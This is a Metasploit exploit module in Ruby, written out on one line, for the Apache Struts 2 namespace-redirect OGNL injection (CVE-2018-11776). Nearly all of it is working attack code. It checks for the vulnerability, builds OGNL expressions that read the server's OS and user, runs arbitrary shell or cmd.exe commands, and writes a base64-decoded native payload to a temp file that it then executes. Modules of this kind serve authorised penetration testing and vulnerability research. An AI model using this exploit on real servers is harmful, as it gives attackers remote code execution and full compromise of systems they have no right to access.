## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE # Eschewing CmdStager for now, since the use of '\' and ';' are killing me #include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection', 'Description' => %q{ This module exploits a remote code execution vulnerability in Apache Struts version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed via an endpoint that makes use of a redirect action. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk. }, #TODO: Is that second paragraph above still accurate? 'Author' => [ 'Man Yue Mo', # Discovery 'hook-s3c', # PoC 'asoto-r7', # Metasploit module 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2018-11776'], ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'], ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'], ], 'Privileged' => false, 'Targets' => [ [ 'Automatic detection', { 'Platform' => %w{ unix windows linux }, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], }, ], [ 'Windows', { 'Platform' => %w{ windows }, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], }, ], [ 'Linux', { 'Platform' => %w{ unix linux }, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} }, ], ], 'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]), OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]), ] ) register_advanced_options( [ OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]), OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ), OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ), ] ) end def check # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable ognl = "#_memberAccess['allowStaticMethodAccess']" resp = send_struts_request(ognl) # If vulnerable, the server should return an HTTP 302 (Redirect) # and the 'Location' header should contain either 'true' or 'false' if resp && resp.headers['Location'] output = resp.headers['Location'] vprint_status("Redirected to: #{output}") if (output.include? '/true/') print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'") datastore['ENABLE_STATIC'] = false CheckCode::Vulnerable elsif (output.include? '/false/') print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'") datastore['ENABLE_STATIC'] = true CheckCode::Vulnerable else CheckCode::Safe end elsif resp && resp.code==400 # METHOD 2: Generate two random numbers, ask the target to add them together. # If it does, it's vulnerable. a = rand(10000) b = rand(10000) c = a+b ognl = "#{a}+#{b}" resp = send_struts_request(ognl) if resp.headers['Location'].include? c.to_s vprint_status("Redirected to: #{resp.headers['Location']}") print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'") datastore['ENABLE_STATIC'] = false CheckCode::Vulnerable else CheckCode::Safe end end end def exploit case payload.arch.first when ARCH_CMD resp = execute_command(payload.encoded) else resp = send_payload() end end def encode_ognl(ognl) # Check and fail if the command contains the follow bad characters: # ';' seems to terminates the OGNL statement # '/' causes the target to return an HTTP/400 error # '\' causes the target to return an HTTP/400 error (sometimes?) # '\r' ends the GET request prematurely # '\n' ends the GET request prematurely # TODO: Make sure the following line is uncommented bad_chars = %w[; \\ \r \n] # and maybe '/' bad_chars.each do |c| if ognl.include? c print_error("Bad OGNL request: #{ognl}") fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'") end end # The following list of characters *must* be encoded or ORNL will asplode encodable_chars = { "%": "%25", # Always do this one first. :-) " ": "%20", "\"":"%22", "#": "%23", "'": "%27", "<": "%3c", ">": "%3e", "?": "%3f", "^": "%5e", "`": "%60", "{": "%7b", "|": "%7c", "}": "%7d", #"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal. #";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround? #"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround? #"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround? } encodable_chars.each do |k,v| #ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp) ognl.gsub!("#{k}","#{v}") end return ognl end def send_struts_request(ognl, payload: nil) =begin #badchar-checking code pre = ognl =end ognl = "${#{ognl}}" vprint_status("Submitted OGNL: #{ognl}") ognl = encode_ognl(ognl) headers = {'Keep-Alive': 'timeout=5, max=1000'} if payload vprint_status("Embedding payload of #{payload.length} bytes") headers[datastore['HEADER']] = payload end # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs uri = "/#{ognl}/#{datastore['ACTION']}" resp = send_request_cgi( #'encode' => true, # this fails to encode '\', which is a problem for me 'uri' => uri, 'method' => datastore['HTTPMethod'], 'headers' => headers ) if resp && resp.code == 404 fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options") end =begin #badchar-checking code print_status("Response code: #{resp.code}") #print_status("Response recv: BODY '#{resp.body}'") if resp.body if resp.headers['Location'] print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}") if resp.headers['Location'].split('/')[1] == pre[1..-2] print_good("GOT 'EM!") else print_error(" #{pre[1..-2]}") end end =end resp end def profile_target # Use OGNL to extract properties from the Java environment properties = { 'os.name': nil, # e.g. 'Linux' 'os.arch': nil, # e.g. 'amd64' 'os.version': nil, # e.g. '4.4.0-112-generic' 'user.name': nil, # e.g. 'root' #'user.home': nil, # e.g. '/root' (didn't work in testing) 'user.language': nil, # e.g. 'en' #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing) } ognl = "" ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] ognl << %Q|('#{rand_text_alpha(2)}')| properties.each do |k,v| ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'| end ognl = ognl[0...-4] r = send_struts_request(ognl) if r.code == 400 fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option") elsif r.headers['Location'] # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action' # Extract the OGNL output from the Location path, and strip the two random chars s = r.headers['Location'].split('/')[1][2..-1] if s.nil? # Since the target didn't respond with an HTTP/400, we know the OGNL code executed. # But we didn't get any output, so we can't profile the target. Abort. return nil end # Confirm that all fields were returned, and non include extra (:) delimiters # If the OGNL fails, we might get a partial result back, in which case, we'll abort. if s.count(':') > properties.length print_error("Failed to profile target. Response from server: #{r.to_s}") fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data") end # Separate the colon-delimited properties and store in the 'properties' hash s = s.split(':') i = 0 properties.each do |k,v| properties[k] = s[i] i += 1 end print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" + " #{properties[:'os.arch']}, running as #{properties[:'user.name']}") return properties else print_error("Failed to profile target. Response from server: #{r.to_s}") fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.") end end def execute_command(cmd_input, opts={}) # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that. if cmd_input.include? ';' print_warning("WARNING: Command contains bad characters: semicolons (;).") end begin properties = profile_target os = properties[:'os.name'].downcase rescue vprint_warning("Target profiling was unable to determine operating system") os = '' os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' end if (os.include? 'linux') || (os.include? 'nix') cmd = "{'sh','-c','#{cmd_input}'}" elsif os.include? 'win' cmd = "{'cmd.exe','/c','#{cmd_input}'}" else vprint_error("Failed to detect target OS. Attempting to execute command directly") cmd = cmd_input end # The following OGNL will run arbitrary commands on Windows and Linux # targets, as well as returning STDOUT and STDERR. In my testing, # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds. vprint_status("Executing: #{cmd}") ognl = "" ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).| ognl << %q|(#p.redirectErrorStream(true)).| ognl << %q|(#process=#p.start()).| ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).| ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).| ognl << %q|(#r.flush())| r = send_struts_request(ognl) if r && r.code == 200 print_good("Command executed:\n#{r.body}") elsif r if r.body.length == 0 print_status("Payload sent, but no output provided from server.") elsif r.body.length > 0 print_error("Failed to run command. Response from server: #{r.to_s}") end end end def send_payload # Probe for the target OS and architecture begin properties = profile_target os = properties[:'os.name'].downcase rescue vprint_warning("Target profiling was unable to determine operating system") os = '' os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win' os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux' os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix' end data_header = datastore['HEADER'] if data_header.empty? fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload") end random_filename = datastore['TEMPFILE'] # d = data stream from HTTP header # f = path to temp file # s = stream/handle to temp file ognl = "" ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC'] ognl << %Q|(#[email protected]@getRequest().getHeader('#{data_header}')).| ognl << %Q|(#[email protected]@createTempFile('#{random_filename}','tmp')).| ognl << %q|(#f.setExecutable(true)).| ognl << %q|(#f.deleteOnExit()).| ognl << %q|(#s=new java.io.FileOutputStream(#f)).| ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).| ognl << %q|(#s.write(#d)).| ognl << %q|(#s.close()).| ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).| ognl << %q|(#p.start()).| ognl << %q|(#f.delete()).| success_string = rand_text_alpha(4) ognl << %Q|('#{success_string}')| exe = [generate_payload_exe].pack("m").delete("\n") r = send_struts_request(ognl, payload: exe) if r && r.headers && r.headers['Location'].split('/')[1] == success_string print_good("Payload successfully dropped and executed.") elsif r && r.headers['Location'] vprint_error("RESPONSE: " + r.headers['Location']) fail_with(Failure::PayloadFailed, "Target did not successfully execute the request") elsif r && r.code == 400 fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload") end end end